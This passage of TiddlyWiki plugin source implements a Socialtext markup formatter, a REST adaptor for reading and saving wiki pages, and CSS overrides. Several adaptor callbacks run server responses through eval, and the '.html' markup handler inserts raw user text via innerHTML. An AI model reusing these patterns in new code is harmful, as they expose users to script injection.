		// update the links array, by checking for Socialtext format links
		this.links = [];
		var tiddlerLinkRegExp = /(?:\"(.*?)\" ?)?\[([^\]]*?)\]/mg;
		tiddlerLinkRegExp.lastIndex = 0;
		var match = tiddlerLinkRegExp.exec(this.text);
		while(match) {
			var link = match[2];
			this.links.pushUnique(link);
			match = tiddlerLinkRegExp.exec(this.text);
		}
	}/* else {
		return SocialtextFormatter.Tiddler_changed.apply(this,arguments);
	}*/
	this.linksUpdated = true;
};

SocialtextFormatter.wafl = function(w)
{
	this.lookaheadRegExp.lastIndex = w.matchStart;
	var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
	if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
		var lm2 = lookaheadMatch[2];
		switch(lookaheadMatch[1]) {
		case 'image':
			var img = createTiddlyElement(w.output,'img');
			img.src = w.tiddler.title + '/' + lm2;
			createTiddlyText(img,lm2);
			break;
		case 'file':
			var s = createTiddlyElement(w.output,'span',null,'nlw_phrase');
			var a = createTiddlyElement(s,'a');
			a.href = w.tiddler.title + '/' + lm2;
			createTiddlyText(a,lm2);
			break;
		case 'link':
			s = createTiddlyElement(w.output,'span',null,'nlw_phrase');
			a = createTiddlyElement(s,'a');
			var t = w.tiddler ? w.tiddler.title + ':' : '';
			a.setAttribute('href','#' + t + lm2);
			a.title = 'section link';
			createTiddlyText(a,lm2);
			break;
		case 'weblog':
			s = createTiddlyElement(w.output,'span',null,'nlw_phrase');
			var text = lm2;
			var link = 'Weblog: ' + lm2;
			createTiddlyText(createTiddlyLink(s,link,false,null,w.isStatic),text);
			break;
		case 'section':
			a = createTiddlyElement(w.output,'a');// drop anchor
			t = w.tiddler ? w.tiddler.title + ':' : '';
			a.setAttribute('name',t + lm2);
			break;
		case 'date':
			createTiddlyText(w.output,lm2);
			break;
		case 'user':
			var oldSource = w.source;
			w.source = lm2;
			w.nextMatch = 0;
			w.subWikifyUnterm(w.output);
			w.source = oldSource;
			break;
// Shortcut expansions - not strictly syntax
		case 'google':
			s = createTiddlyElement(w.output,'span',null,'nlw_phrase');
			a = createExternalLink(s,'http://www.google.com/search?q='+lm2);
			createTiddlyText(a,lm2);
			break;
		case 'fedex':
			s = createTiddlyElement(w.output,'span',null,'nlw_phrase');
			a = createExternalLink(s,'http://www.fedex.com/Tracking?tracknumbers='+lm2);
			createTiddlyText(a,lm2);
			break;
		case 'map':
			s = createTiddlyElement(w.output,'span',null,'nlw_phrase');
			a = createExternalLink(s,'http://maps.google.com/maps?q='+lm2);
			createTiddlyText(a,lm2);
			break;
		case 'wikipedia':
			s = createTiddlyElement(w.output,'span',null,'nlw_phrase');
			a = createExternalLink(s,'http://en.wikipedia.org/wiki/'+lm2);
			createTiddlyText(a,lm2);
			break;
		case 'rt':
			s = createTiddlyElement(w.output,'span',null,'nlw_phrase');
			a = createExternalLink(s,'http://rt.socialtext.net/Ticket/Display.html?id='+lm2);
			createTiddlyText(a,lm2);
			break;
		case 'stcal':
			s = createTiddlyElement(w.output,'span',null,'nlw_phrase');
			a = createExternalLink(s,'https://calendar.socialtext.net:445/view_t.php?timeb=1&id=3&date='+lm2);
			createTiddlyText(a,lm2);
			break;
		case 'svn':
			s = createTiddlyElement(w.output,'span',null,'nlw_phrase');
			a = createExternalLink(s,'https://repo.socialtext.net/listing.php?rev='+lm2+'sc=1');
			createTiddlyText(a,lm2);
			break;
		default:
			w.outputText(w.output,w.matchStart,w.nextMatch);
			return;
		}
		w.nextMatch = this.lookaheadRegExp.lastIndex;
	} else {
		w.outputText(w.output,w.matchStart,w.nextMatch);
	}
};

SocialtextFormatter.presence = function(w)
{
	this.lookaheadRegExp.lastIndex = w.matchStart;
	var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
	if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
		var p = lookaheadMatch[1];
		var text = lookaheadMatch[2];
		var link;
		var src;
		if(p=='aim') {
			link = 'aim:goim?screenname=' + text + '&message=hello';
			src = 'http://big.oscar.aol.com/sleepleft?on_url=http://www.aim.com/remote/gr/MNB_online.gif&amp;off_url=http://www.aim.com/remote/gr/MNB_offline.gif';
		} else if(p=='yahoo'||p=='ymsgr') {
			link = 'ymsgr:sendIM?'+text;
			src = 'http://opi.yahoo.com/online?u=chrislondonbridge&f=.gif';
		} else if(p=='skype'||p=='callto') {
			link = 'callto:'+text;
			src = 'http://goodies.skype.com/graphics/skypeme_btn_small_green.gif';
		} else if(p=='asap') {
			link = 'http://asap2.convoq.com/AsapLinks/Meet.aspx?l='+text;
			src = 'http://asap2.convoq.com/AsapLinks/Presence.aspx?l='+text;
		}
		var s = createTiddlyElement(w.output,'span',null,'nlw_phrase');
		var a = createExternalLink(s,link);
		var img = createTiddlyElement(a,'img');
		createTiddlyText(a,text);
		img.src = src;
		img.border='0';
		img.alt = '(' + lookaheadMatch[1] + ')';
		if(p=='aim') {
			img.width='11'; img.height='13';
		}
		w.nextMatch = this.lookaheadRegExp.lastIndex;
	}
};

config.formatterHelpers.singleCharFormat = function(w)
{
	this.lookaheadRegExp.lastIndex = w.matchStart;
	var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
	if(lookaheadMatch && lookaheadMatch.index == w.matchStart && lookaheadMatch[0].substr(lookaheadMatch[0].length-2,1) != ' ') {
		w.subWikifyTerm(createTiddlyElement(w.output,this.element),this.termRegExp);
	} else {
		w.outputText(w.output,w.matchStart,w.nextMatch);
	}
};

config.socialtext = {};
config.socialtext.formatters = [
{
	name: 'socialtextHeading',
	match: '^\\^{1,6} ?',
	termRegExp: /(\n+)/mg,
	handler: function(w)
	{
		var len = w.matchText.trim().length;
		var e = createTiddlyElement(w.output,'h' + len);
		var a = createTiddlyElement(e,'a');// drop anchor
		var t = w.tiddler ? w.tiddler.title + ':' : '';
		len = w.source.substr(w.nextMatch).indexOf('\n');
		a.setAttribute('name',t+w.source.substr(w.nextMatch,len));
		w.subWikifyTerm(e,this.termRegExp);
	}
},

{
	name: 'socialtextTable',
	match: '^\\|(?:(?:.|\n)*)\\|$',
	lookaheadRegExp: /^\|(?:(?:.|\n)*)\|$/mg,
	cellRegExp: /(?:\|(?:[^\|]*)\|)(\n|$)?/mg,
	cellTermRegExp: /((?:\x20*)\|)/mg,
	handler: function(w)
	{
		var table = createTiddlyElement(w.output,'table');
		var rowContainer = createTiddlyElement(table,'tbody');
		var prevColumns = [];
		w.nextMatch = w.matchStart;
		this.lookaheadRegExp.lastIndex = w.nextMatch;
		var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
		while(lookaheadMatch && lookaheadMatch.index == w.nextMatch) {
			var r = this.rowHandler(w,createTiddlyElement(rowContainer,'tr'),prevColumns);
			if(!r) {
				w.nextMatch++;
				break;
			}
			this.lookaheadRegExp.lastIndex = w.nextMatch;
			lookaheadMatch = this.lookaheadRegExp.exec(w.source);
		}
	},
	rowHandler: function(w,e,prevColumns)
	{
		this.cellRegExp.lastIndex = w.nextMatch;
		var cellMatch = this.cellRegExp.exec(w.source);
		while(cellMatch && cellMatch.index == w.nextMatch) {
			w.nextMatch++;
			var cell = createTiddlyElement(e,'td');
			w.subWikifyTerm(cell,this.cellTermRegExp);
			if(cellMatch[1]) {
				// End of row
				w.nextMatch = this.cellRegExp.lastIndex;
				return true;
			}
			// Cell
			w.nextMatch--;
			this.cellRegExp.lastIndex = w.nextMatch;
			cellMatch = this.cellRegExp.exec(w.source);
		}
		return false;
	}
},

{
	name: 'socialtextList',
	match: '^[\\*#]+ ',
	lookaheadRegExp: /^([\*#])+ /mg,
	termRegExp: /(\n+)/mg,
	handler: function(w)
	{
		var stack = [w.output];
		var currLevel = 0, currType = null;
		var itemType = 'li';
		w.nextMatch = w.matchStart;
		this.lookaheadRegExp.lastIndex = w.nextMatch;
		var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
		while(lookaheadMatch && lookaheadMatch.index == w.nextMatch) {
			var listType = lookaheadMatch[1] == '*' ? 'ul' : 'ol';
			var listLevel = lookaheadMatch[0].length;
			w.nextMatch += listLevel;
			if(listLevel > currLevel) {
				for(var i=currLevel; i<listLevel; i++) {
					stack.push(createTiddlyElement(stack[stack.length-1],listType));
				}
			} else if(listLevel < currLevel) {
				for(i=currLevel; i>listLevel; i--) {
					stack.pop();
				}
			} else if(listLevel == currLevel && listType != currType) {
				stack.pop();
				stack.push(createTiddlyElement(stack[stack.length-1],listType));
			}
			currLevel = listLevel;
			currType = listType;
			var e = createTiddlyElement(stack[stack.length-1],itemType);
			w.subWikifyTerm(e,this.termRegExp);
			this.lookaheadRegExp.lastIndex = w.nextMatch;
			lookaheadMatch = this.lookaheadRegExp.exec(w.source);
		}
	}
},

{
	name: 'socialtextQuoteByLine',
	match: '^>+',
	lookaheadRegExp: /^>+/mg,
	termRegExp: /(\n)/mg,
	element: 'blockquote',
	handler: function(w)
	{
		var stack = [w.output];
		var currLevel = 0;
		var newLevel = w.matchLength;
		var i;
		do {
			if(newLevel > currLevel) {
				for(i=currLevel; i<newLevel; i++) {
					stack.push(createTiddlyElement(stack[stack.length-1],this.element));
				}
			} else if(newLevel < currLevel) {
				for(i=currLevel; i>newLevel; i--) {
					stack.pop();
				}
			}
			currLevel = newLevel;
			w.subWikifyTerm(stack[stack.length-1],this.termRegExp);
			createTiddlyElement(stack[stack.length-1],'br');
			this.lookaheadRegExp.lastIndex = w.nextMatch;
			var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
			var matched = lookaheadMatch && lookaheadMatch.index == w.nextMatch;
			if(matched) {
				newLevel = lookaheadMatch[0].length;
				w.nextMatch += newLevel;
			}
		} while(matched);
	}
},

{
	name: 'socialtextRule',
	match: '^----+$\\n+',
	handler: function(w)
	{
		createTiddlyElement(w.output,'hr');
	}
},

{
	name: 'socialtextPreformatted',
	match: '^\\.pre\\s*\\n',
	lookaheadRegExp: /^.pre\s*\n((?:.|\n)*?)\n.pre\s*\n/mg,
	element: 'pre',
	handler: config.formatterHelpers.enclosedTextHelper
},

{
	name: 'socialtextHtml',
	match: '^\\.html',
	lookaheadRegExp: /\.html((?:.|\n)*?)\.html/mg,
	handler: function(w)
	{
		this.lookaheadRegExp.lastIndex = w.matchStart;
		var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
		if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
			createTiddlyElement(w.output,'span').innerHTML = lookaheadMatch[1];
			w.nextMatch = this.lookaheadRegExp.lastIndex;
		}
	}
},

{
	name: 'macro',
	match: '<<',
	lookaheadRegExp: /<<([^>\s]+)(?:\s*)((?:[^>]|(?:>(?!>)))*)>>/mg,
	handler: function(w)
	{
		this.lookaheadRegExp.lastIndex = w.matchStart;
		var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
		if(lookaheadMatch && lookaheadMatch.index == w.matchStart && lookaheadMatch[1]) {
			w.nextMatch = this.lookaheadRegExp.lastIndex;
			invokeMacro(w.output,lookaheadMatch[1],lookaheadMatch[2],w,w.tiddler);
		}
	}
},

{
	name: 'socialtextExplicitLink',
	match: '(?:".*?" ?)?\\[',
	lookaheadRegExp: /(?:\"(.*?)\" ?)?\[([^\]]*?)\]/mg,
	handler: function(w)
	{
		this.lookaheadRegExp.lastIndex = w.matchStart;
		var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
		if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
			var link = lookaheadMatch[2];
			var text = lookaheadMatch[1] ? lookaheadMatch[1] : link;
			createTiddlyText(createTiddlyLink(w.output,link,false,null,w.isStatic,w.tiddler),text);
			w.nextMatch = this.lookaheadRegExp.lastIndex;
		}
	}
},

{
	name: 'socialtextExternalLink',
	match: '(?:".*?" ?)?<[a-z]{2,8}:',
	lookaheadRegExp: /(?:\"(.*?)\" ?)?<([a-z]{2,8}:.*?)>/mg,
	imgRegExp: /\.(?:gif|ico|jpg|png)/g,
	handler: function(w)
	{
		this.lookaheadRegExp.lastIndex = w.matchStart;
		var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
		if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
			var link = lookaheadMatch[2];
			var text = lookaheadMatch[1] ? lookaheadMatch[1] : link;
			this.imgRegExp.lastIndex = 0;
			if(this.imgRegExp.exec(link)) {
				var img = createTiddlyElement(w.output,'img');
				if(lookaheadMatch[1]) {
					img.title = text;
				}
				img.alt = text;
				img.src = link;
			} else {
				createTiddlyText(createExternalLink(w.output,link),text);
			}
			w.nextMatch = this.lookaheadRegExp.lastIndex;
		}
	}
},

{
	name: 'socialtextUrlLink',
	match: config.textPrimitives.urlPattern,
	handler: function(w)
	{
		w.outputText(createExternalLink(w.output,w.matchText),w.matchStart,w.nextMatch);
	}
},

{
	name: 'socialtextBold',
	match: '\\*(?![\\s\\*])',
	lookaheadRegExp: /\*(?!\s)(?:.*?)(?!\s)\*(?=[$\s\|\._\-,])/mg,
	termRegExp: /((?!\s)\*(?=[$\s\|\.\-_,]))/mg,
	element: 'strong',
	handler: config.formatterHelpers.singleCharFormat
},

{
	name: 'socialtextItalic',
	match: '_(?![\\s_])',
	lookaheadRegExp: /_(?!\s)(?:.*?)(?!\s)_(?=[$\s\|\.\*\-,])/mg,
	termRegExp: /((?!\s)_(?=[$\s\|\.\*\-,]))/mg,
	element: 'em',
	handler: config.formatterHelpers.singleCharFormat
},

{
	name: 'socialtextStrike',
	match: '-(?![\\s\\-])',
	lookaheadRegExp: /-(?!\s)(?:.*?)(?!\s)-(?=[$\s\|\.\*_,])/mg,
	termRegExp: /((?!\s)-(?=[$\s\|\.\*_,]))/mg,
	element: 'del',
	handler: config.formatterHelpers.singleCharFormat
},

{
	name: 'socialtextMonoSpaced',
	match: '`(?![\\s`])',
	lookaheadRegExp: /`(?!\s)(?:.*?)(?!\s)`(?=[$\s\.\*\-_,])/mg,
	termRegExp: /((?!\s)`(?=[$\s\.\*\-_,]))/mg,
	element: 'tt',
	handler: config.formatterHelpers.singleCharFormat
},

{
	name: 'socialtextParagraph',
	match: '\\n{2,}',
	handler: function(w)
	{
		createTiddlyElement(w.output,'p');
	}
},

{
	name: 'socialtextLineBreak',
	match: '\\n',
	handler: function(w)
	{
		createTiddlyElement(w.output,'br');
	}
},

{
	name: 'socialtextNoWiki',
	match: '\\{\\{',
	lookaheadRegExp: /\{\{((?:.|\n)*?)\}\}/mg,
	element: 'span',
	handler: config.formatterHelpers.enclosedTextHelper
},

{
	name: 'socialtextTrademark',
	match: '\\{tm\\}',
	handler: function(w)
	{
		createTiddlyElement(w.output,'span').innerHTML = '&trade;';
	}
},

{
	name: 'socialtextWafl',
	match: '\\{(?:[a-z]{2,16}): ?.*?\\}',
	lookaheadRegExp: /\{([a-z]{2,16}): ?(.*?)\}/mg,
	handler: SocialtextFormatter.wafl
},

{
	name: 'socialtextPresence',
	match: '(?:aim|yahoo|ymsgr|skype|callto|asap):\\w+',
	lookaheadRegExp: /(aim|yahoo|ymsgr|skype|callto|asap):(\w+)/mg,
	handler: SocialtextFormatter.presence
},

{
	name: 'socialtextMailTo',
	match: '[\\w\.]+@[\\w]+\.[\\w\.]+',
	lookaheadRegExp: /([\w\.]+@[\w]+\.[\w\.]+)/mg,
	handler: function(w)
	{
		this.lookaheadRegExp.lastIndex = w.matchStart;
		var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
		if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
			var text = lookaheadMatch[1];
			createTiddlyText(createExternalLink(w.output,'mailto:'+text),text);
			w.nextMatch = this.lookaheadRegExp.lastIndex;
		}
	}
},

{
	name: 'socialtextHtmlEntitiesEncoding',
	match: '&#?[a-zA-Z0-9]{2,8};',
	handler: function(w)
	{
		createTiddlyElement(w.output,'span').innerHTML = w.matchText;
	}
}
];

config.parsers.socialtextFormatter = new Formatter(config.socialtext.formatters);
config.parsers.socialtextFormatter.format = 'socialtext';
config.parsers.socialtextFormatter.formatTag = 'SocialtextFormat';

} // end of 'install only once'
//}}}
/***
|''Name:''|SocialtextAdaptorPlugin|
|''Description:''|Adaptor for moving and converting data to and from Socialtext Wikis|
|''Author:''|Martin Budden (mjbudden (at) gmail (dot) com) and JeremyRuston (jeremy (at) osmosoft (dot) com)|
|''Source:''|http://www.martinswiki.com/#SocialtextAdaptorPlugin|
|''CodeRepository:''|http://svn.tiddlywiki.org/Trunk/contributors/MartinBudden/adaptors/SocialtextAdaptorPlugin.js|
|''Version:''|0.5.1|
|''Date:''|Feb 25, 2007|
|''Comments:''|Please make comments at http://groups.google.co.uk/group/TiddlyWikiDev|
|''License:''|[[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|''~CoreVersion:''|2.2.0|

Socialtext REST documentation is at:
http://www.eu.socialtext.net/st-rest-docs/index.cgi?socialtext_rest_documentation

***/

//{{{
if(!version.extensions.SocialtextAdaptorPlugin) {
version.extensions.SocialtextAdaptorPlugin = {installed:true};

function SocialtextAdaptor()
{
	this.host = null;
	this.workspace = null;
	return this;
}

SocialtextAdaptor.mimeType = 'text/x.socialtext-wiki';
SocialtextAdaptor.serverType = 'socialtext';
SocialtextAdaptor.serverParsingErrorMessage = "Error parsing result from server";
SocialtextAdaptor.errorInFunctionMessage = "Error in function SocialtextAdaptor.%0";

SocialtextAdaptor.prototype.setContext = function(context,userParams,callback)
{
	if(!context) context = {};
	context.userParams = userParams;
	if(callback) context.callback = callback;
	context.adaptor = this;
	if(!context.host)
		context.host = this.host;
	if(!context.workspace && this.workspace)
		context.workspace = this.workspace;
	return context;
};

SocialtextAdaptor.doHttpGET = function(uri,callback,params,headers,data,contentType,username,password)
{
	return doHttp('GET',uri,data,contentType,username,password,callback,params,headers);
};

SocialtextAdaptor.doHttpPOST = function(uri,callback,params,headers,data,contentType,username,password)
{
	return doHttp('POST',uri,data,contentType,username,password,callback,params,headers);
};

SocialtextAdaptor.fullHostName = function(host)
{
	if(!host)
		return '';
	if(!host.match(/:\/\//))
		host = 'http://' + host;
	if(host.substr(host.length-1) != '/')
		host = host + '/';
	return host;
};

SocialtextAdaptor.minHostName = function(host)
{
	return host ? host.replace(/^http:\/\//,'').replace(/\/$/,'') : '';
};

// Convert a page title to the normalized form used in uris
SocialtextAdaptor.normalizedTitle = function(title)
{
	var n = title.toLowerCase();
	n = n.replace(/\s/g,'_').replace(/\//g,'_').replace(/\./g,'_').replace(/:/g,'').replace(/\?/g,'');
	if(n.charAt(0)=='_')
		n = n.substr(1);
	return String(n);
};

// Convert a Socialtext date in YYYY-MM-DD hh:mm format into a JavaScript Date object
SocialtextAdaptor.dateFromEditTime = function(editTime)
{
	var dt = editTime;
	return new Date(Date.UTC(dt.substr(0,4),dt.substr(5,2)-1,dt.substr(8,2),dt.substr(11,2),dt.substr(14,2)));
};

SocialtextAdaptor.prototype.openHost = function(host,context,userParams,callback)
{
	this.host = SocialtextAdaptor.fullHostName(host);
	context = this.setContext(context,userParams,callback);
	if(context.callback) {
		context.status = true;
		window.setTimeout(function() {callback(context,userParams);},0);
	}
	return true;
};

SocialtextAdaptor.prototype.openWorkspace = function(workspace,context,userParams,callback)
{
	this.workspace = workspace;
	context = this.setContext(context,userParams,callback);
	if(context.callback) {
		context.status = true;
		window.setTimeout(function() {callback(context,userParams);},0);
	}
	return true;
};


SocialtextAdaptor.prototype.getWorkspaceList = function(context,userParams,callback)
{
	context = this.setContext(context,userParams,callback);
	var uriTemplate = '%0data/workspaces';
	var uri = uriTemplate.format([context.host]);
	var req = SocialtextAdaptor.doHttpGET(uri,SocialtextAdaptor.getWorkspaceListCallback,context,{'accept':'application/json'});
	return typeof req == 'string' ? req : true;
};

SocialtextAdaptor.getWorkspaceListCallback = function(status,context,responseText,uri,xhr)
{
	context.status = false;
	context.statusText = SocialtextAdaptor.errorInFunctionMessage.format(['getWorkspaceListCallback']);
	if(status) {
		try {
			eval('var info=' + responseText);
		} catch (ex) {
			context.statusText = exceptionText(ex,SocialtextAdaptor.serverParsingErrorMessage);
			if(context.callback)
				context.callback(context,context.userParams);
			return;
		}
		var list = [];
		for(var i=0; i<info.length; i++) {
			var item = {
				title:info[i].title,
				name:info[i].name,
				modified:SocialtextAdaptor.dateFromEditTime(info[i].modified_time)
				};
			list.push(item);
		}
		context.workspaces = list;
		context.status = true;
	} else {
		context.statusText = xhr.statusText;
	}
	if(context.callback)
		context.callback(context,context.userParams);
};

SocialtextAdaptor.prototype.getTiddlerList = function(context,userParams,callback)
{
	context = this.setContext(context,userParams,callback);
	var uriTemplate = '%0data/workspaces/%1/pages?order=newest';//!! ? or ;
	var uri = uriTemplate.format([context.host,context.workspace]);
	var req = SocialtextAdaptor.doHttpGET(uri,SocialtextAdaptor.getTiddlerListCallback,context,{'accept':'application/json'});
	return typeof req == 'string' ? req : true;
};


SocialtextAdaptor.getTiddlerListCallback = function(status,context,responseText,uri,xhr)
{
	context.status = false;
	context.statusText = SocialtextAdaptor.errorInFunctionMessage.format(['getTiddlerListCallback']);
	if(status) {
		try {
			eval('var info=' + responseText);
		} catch (ex) {
			context.statusText = exceptionText(ex,SocialtextAdaptor.serverParsingErrorMessage);
			if(context.callback)
				context.callback(context,context.userParams);
			return;
		}
		var list = [];
		for(var i=0; i<info.length; i++) {
			var tiddler = new Tiddler(info[i].name);
			tiddler.modified = SocialtextAdaptor.dateFromEditTime(info[i].last_edit_time);
			tiddler.modifier = info[i].last_editor;
			tiddler.tags = info[i].tags;
			tiddler.fields['server.page.id'] = info[i].page_id;
			tiddler.fields['server.page.name'] = info[i].name;
			tiddler.fields['server.page.revision'] = String(info[i].revision_id);
			list.push(tiddler);
		}
		context.tiddlers = list;
		context.status = true;
	} else {
		context.statusText = xhr.statusText;
	}
	if(context.callback)
		context.callback(context,context.userParams);
};

SocialtextAdaptor.prototype.generateTiddlerInfo = function(tiddler)
{
	var info = {};
	var host = this && this.host ? this.host : SocialtextAdaptor.fullHostName(tiddler.fields['server.host']);
	var workspace = this && this.workspace ? this.workspace : tiddler.fields['server.workspace'];
	uriTemplate = '%0%1/index.cgi?%2';
	info.uri = uriTemplate.format([host,workspace,SocialtextAdaptor.normalizedTitle(tiddler.title)]);
	return info;
};

SocialtextAdaptor.prototype.getTiddler = function(title,context,userParams,callback)
{
	return this.getTiddlerRevision(title,null,context,userParams,callback);
};

SocialtextAdaptor.prototype.getTiddlerRevision = function(title,revision,context,userParams,callback)
{
	context = this.setContext(context,userParams,callback);

	// request the page in json format to get the page attributes
	if(revision) {
		var uriTemplate = '%0data/workspaces/%1/pages/%2/revisions/%3';
		context.revision = revision;
	} else {
		uriTemplate = '%0data/workspaces/%1/pages/%2';
		context.revision = null;
	}
	uri = uriTemplate.format([context.host,context.workspace,SocialtextAdaptor.normalizedTitle(title),revision]);

	context.tiddler = new Tiddler(title);
	context.tiddler.fields.wikiformat = 'socialtext';
	context.tiddler.fields['server.host'] = SocialtextAdaptor.minHostName(context.host);
	context.tiddler.fields['server.workspace'] = context.workspace;
	var req = SocialtextAdaptor.doHttpGET(uri,SocialtextAdaptor.getTiddlerCallback,context,{'accept':'application/json'});
	return typeof req == 'string' ? req : true;
};


SocialtextAdaptor.getTiddlerCallback = function(status,context,responseText,uri,xhr)
{
	context.status = false;
	context.statusText = SocialtextAdaptor.errorInFunctionMessage.format(['getTiddlerCallback']);
	if(status) {
		try {
			eval('var info=' + responseText);
			context.tiddler.tags = info.tags;
			context.tiddler.fields['server.page.id'] = info.page_id;
			context.tiddler.fields['server.page.name'] = info.name;
			context.tiddler.fields['server.page.revision'] = String(info.revision_id);
			context.tiddler.modifier = info.last_editor;
			context.tiddler.modified = SocialtextAdaptor.dateFromEditTime(info.last_edit_time);
		} catch (ex) {
			context.statusText = exceptionText(ex,SocialtextAdaptor.serverParsingErrorMessage);
			if(context.callback)
				context.callback(context,context.userParams);
			return;
		}
		context.status = true;
	} else {
		context.statusText = xhr.statusText;
		if(context.callback)
			context.callback(context,context.userParams);
		return;
	}
	var uriTemplate = context.revision ? '%0data/workspaces/%1/pages/%2/revisions/%3' : '%0data/workspaces/%1/pages/%2';
	var host = SocialtextAdaptor.fullHostName(context.tiddler.fields['server.host']);
	var workspace = context.workspace ? context.workspace : context.tiddler.fields['server.workspace'];
	uri = uriTemplate.format([host,workspace,SocialtextAdaptor.normalizedTitle(context.tiddler.title),context.revision]);
	var req = SocialtextAdaptor.doHttpGET(uri,SocialtextAdaptor.getTiddlerCallback2,context,{'accept':SocialtextAdaptor.mimeType});
};

SocialtextAdaptor.getTiddlerCallback2 = function(status,context,responseText,uri,xhr)
{
	context.tiddler.text = responseText;
	if(status) {
		context.status = true;
	} else {
		context.status = false;
		context.statusText = xhr.statusText;
	}
	if(context.callback)
		context.callback(context,context.userParams);
};

SocialtextAdaptor.prototype.getTiddlerRevisionList = function(title,limit,context,userParams,callback)
{
	context = this.setContext(context,userParams,callback);

	var uriTemplate = '%0data/workspaces/%1/pages/%2/revisions?accept=application/json';
	if(!limit)
		limit = 5;
	var uri = uriTemplate.format([context.host,context.workspace,SocialtextAdaptor.normalizedTitle(title),limit]);

	var req = SocialtextAdaptor.doHttpGET(uri,SocialtextAdaptor.getTiddlerRevisionListCallback,context);
	return typeof req == 'string' ? req : true;
};

SocialtextAdaptor.getTiddlerRevisionListCallback = function(status,context,responseText,uri,xhr)
{
	context.status = false;
	if(status) {
		var content = null;
		try {
			eval('var info=' + responseText);
		} catch (ex) {
			context.statusText = exceptionText(ex,SocialtextAdaptor.serverParsingErrorMessage);
			if(context.callback)
				context.callback(context,context.userParams);
			return;
		}
		list = [];
		for(var i=0; i<info.length; i++) {
			var tiddler = new Tiddler(info[i].name);
			tiddler.modified = SocialtextAdaptor.dateFromEditTime(info[i].last_edit_time);
			tiddler.modifier = info[i].last_editor;
			tiddler.tags = info[i].tags;
			tiddler.fields['server.page.id'] = info[i].page_id;
			tiddler.fields['server.page.name'] = info[i].name;
			tiddler.fields['server.page.revision'] = info[i].revision_id;
			list.push(tiddler);
		}
		var sortField = 'server.page.revision';
		list.sort(function(a,b) {return a.fields[sortField] < b.fields[sortField] ? +1 : (a.fields[sortField] == b.fields[sortField] ? 0 : -1);});
		context.revisions = list;
		context.status = true;
	} else {
		context.statusText = xhr.statusText;
	}
	if(context.callback)
		context.callback(context,context.userParams);
};

SocialtextAdaptor.prototype.putTiddler = function(tiddler,context,userParams,callback)
{
	context = this.setContext(context,userParams,callback);
	context.tiddler = tiddler;
	context.title = tiddler.title;
	var uriTemplate = '%0data/workspaces/%1/pages/%2';
	var host = context.host ? context.host : SocialtextAdaptor.fullHostName(tiddler.fields['server.host']);
	var workspace = context.workspace ? context.workspace : tiddler.fields['server.workspace'];
	var uri = uriTemplate.format([host,workspace,tiddler.title,tiddler.text]);
	//var req = doHttp('POST',uri,tiddler.text,SocialtextAdaptor.mimeType,null,null,SocialtextAdaptor.putTiddlerCallback,context,{"X-Http-Method": "PUT"});
	var req = SocialtextAdaptor.doHttpPOST(uri,SocialtextAdaptor.putTiddlerCallback,context,{"X-Http-Method": "PUT"},tiddler.text,SocialtextAdaptor.mimeType);
	return typeof req == 'string' ? req : true;
};

SocialtextAdaptor.putTiddlerCallback = function(status,context,responseText,uri,xhr)
{
	if(status) {
		context.status = true;
	} else {
		context.status = false;
		context.statusText = xhr.statusText;
	}
	if(context.callback)
		context.callback(context,context.userParams);
};

SocialtextAdaptor.prototype.close = function()
{
	return true;
};

config.adaptors[SocialtextAdaptor.serverType] = SocialtextAdaptor;
} //# end of 'install only once'
//}}}
/***
SocialtextStyleOverrides
***/

/*{{{*/
.headerShadow {padding: 2em 0em .5em 1em;}
.headerForeground {padding: 2em 0em .5em 1em;}

#st-page-wiki-title {
	font-size: 80%;
}
.subtitle {
	font-style: italic;
	font-size 80%;
}

/* from #st-tags */
.tagged {
	border-color: #bbeebb;
	background-color: #f4fff4;
}

.tagged .listTitle {
	color: #595;
	font-weight: bold;
}

.tagged .button {
	color: #000;
}

.selected .tagged {
	background-color: ColorPalette::TertiaryLight;
	border: 1px solid ColorPalette::TertiaryMid;
}

/* from #st-incoming-links */
.tagging {
	border-color: #ebb;
	background-color: #fff4f4;
}

.tagging .listTitle {
	color: #b78;
	font-weight: bold;
}

.tagging .button {
	color: #999;
}

.selected .tagging {
	background-color: ColorPalette::TertiaryLight;
	border: 1px solid ColorPalette::TertiaryMid;
}

.tiddler {/* Tiddler body */
	border:1px solid #ccc;
	margin:0.5em;
	background:#fff;
	padding:0.5em;
}

.viewer blockquote {border-left: 0px solid}

.tiddlyLinkNonExisting {
	font-style: italic;
	border-bottom: 1px dashed;
}

.editor input, .editor textarea {
	background: #ffd;
	border-style: solid;
	border-color: #888 #ccc #ccc #888;
	border-width: 2px;
}

.tabContents {white-space: nowrap;}

#displayArea {margin: 1em 20em 0em 14em;}

#sidebar {
	position: absolute;
	right: 3px;
	width: 21em;
	font-size: .9em;
}

#sidebarOptions .button {
	border-color: #eee;
}

#sidebarTabs .tabContents {
	width: 20em;
	overflow: hidden;
}

.viewer tt {
	font-size: 1.2em;
	line-height: 1.4em;
}

ul {list-style-type: square;}
ul ul {list-style-type: circle;}

ol {list-style-type: decimal;}
ol ol {list-style-type: decimal;}
ol ol ol {list-style-type: decimal;}
ol ol ol ol {list-style-type: decimal;}
ol ol ol ol ol {list-style-type: decimal;}
ol ol ol ol ol ol {list-style-type: decimal;}

/*}}}*/
/***
SocialtextScreenStyle
http://www.eu.socialtext.net/static/2.0.0.1/css/st/screen.css
***/

/*{{{*/
body {
	font-family: Arial, sans-serif;
	color: #000;
	background: #eee;
	margin: 0;
}

/* Wiki Navigation */

.st-wiki-nav {
	clear: both;
	margin-left: 10px;
	margin-right: 10px;
}
.st-wiki-nav-content {
	background: url('../../images/st/wiki-nav/solid.gif') repeat-x left bottom;
